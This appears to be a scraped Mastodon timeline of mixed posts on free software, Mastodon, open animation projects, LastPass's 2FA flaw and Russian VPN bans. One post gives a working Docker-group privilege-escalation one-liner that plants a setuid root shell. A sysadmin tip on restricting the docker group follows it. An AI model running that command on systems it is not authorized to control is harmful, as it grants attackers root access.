Shellkr @shellkr@mastodon.cloud

I'm writing this from the command line thanks to #toot! https://github.com/ihabunek/toot h/t @mastodontips

If you're a graphic artist, I think I'll be putting some of what's left of the next month's patreon into logo design for postActiv.  I'm not rich, but I'll pay within my means.  Get in touch!

Let's change character limit to 2000 because why not

As Mastodon grows, at some point there _will_ be a meltdown of some big instance into which tons of people put their trust and then the admin turns out not to be trustworthy (like the MtGox incident in Bitcoin). Even if it's a few hundred people affected, it will be major negative news.

People need to be educated about the role and power of instance admins.

The reason we refer to "core" memory or "core dump" is because how early memory was actually designed. These are magnetic cores with wire woven through (by hand, I might add) which contained program instructions

Core memory went away when silicon took over in the mid 70s

People are brainstorming new logos for Mastodon in this GitHub issue:
https://github.com/tootsuite/mastodon/issues/962

I really like the direction https://github.com/SamSaramyak's is going:

"Lastpass is storing the 2FA secret seed under a URL that can be derived from your password. This literally beats the entire purpose of 2FA which, as mentioned above, is a layer of security to prevent attackers already in possession of the password from logging in"

http://www.martinvigo.com/design-flaws-lastpass-2fa-implementation/

Hello Fediverse!

We're doing a crazy animation made with libre tools and giving it all away CC/GPL (many are new tools we made for the film). Check out the new Wires for Empathy teaser! You can donate to support the work, and get your name in the credits! We're also looking for sponsors. You can also help us by spreading the word.

https://wiresforempathy.org

Shoutout to Blender, Krita, Gimp, Inkscape and Python

free software <3

https://mastodon.social/media/vEQrMt_j5Xa3nNfjDAg

It's a black day for #russian internets: a bill draft was proposed by Russian government that bans usage of #VPN, #Tor, and other anonymizers. This happened only 10 days after a Tor exit node administrator #DmitryBogatov was arrested. Being anonymous is now a crime in Russia... #freeBogatov https://rublacklist.net/27859/

Ended my LastPass Premium subscription today. Have migrated everything to pass/password-store. Using the dmenu/rofi plugin makes entering credentials even more flexible and the Password Store Android app works OK. #infosec

#Solus will adopt #Flatpak and not #Ubuntu #Snap
As always (see #Mir ) Canonical solutions are just well promoted but fail when the discussion​ become technical. In his article Ikey Doherty explains why Solus will use Flatpak stressing technical and pragmatic aspects:

https://solus-project.com/2017/01/18/adopting-flatpak-to-reassemble-third-party-applications/

#KDE joined developers from #Jolla ( #SailfishOS ), #UbuntuTouch portings and #MerOS to bring real Linux distro to #Android devices (including #PlasmaMobile of course):

https://www.xda-developers.com/halium-is-an-open-source-project-working-towards-a-common-base-for-non-android-mobile-operating-systems/

HACKER TIP: If you pop a low-priv linux shell. Don't forget to check if the user is in the "docker" group. If so, a root shell is only one line away:

$ docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p

screenshots and more here on my (crappy) blog: http://zacharykeeton.com/Linux_Privilege-Escalation-with-Docker/

SysAdmin tip: Don' t add any nonsudoers to the 'docker' group!

Widely loved free culture artist @davidrevoy got robbed https://framapiaf.org/users/davidrevoy/updates/6855

David does Pepper & Carrot, a free culture comic https://www.peppercarrot.com/ and has done artwork for the Blender Open Movie projects.

Let's help them recover. They have a Patreon https://www.patreon.com/davidrevoy and you can do a one-time donation https://www.peppercarrot.com/en/static4/contribute

This place needs a) a filter-by-language feature, and b) an option to subscribe to various instances so I can watch more than one without having to watch all of it.

I'm working on a film animated in blender, that will be released as an open movie project - Creative Commons BY SA along with all the production files.
We just made a new work-in-progress teaser, check it out at
http://wiresforempathy.org https://mastodon.social/media/EfV_c8yjhYUmlMvAlIM
(feel free to boost and spread the word!)

10 hours of painstaking work later...
I give you: THE MASTRONAUT
https://mastodon.social/media/EqsyxhkxusrxlOmd37o

Registrations​ on #mastodon.cloud's instance are open again - We back!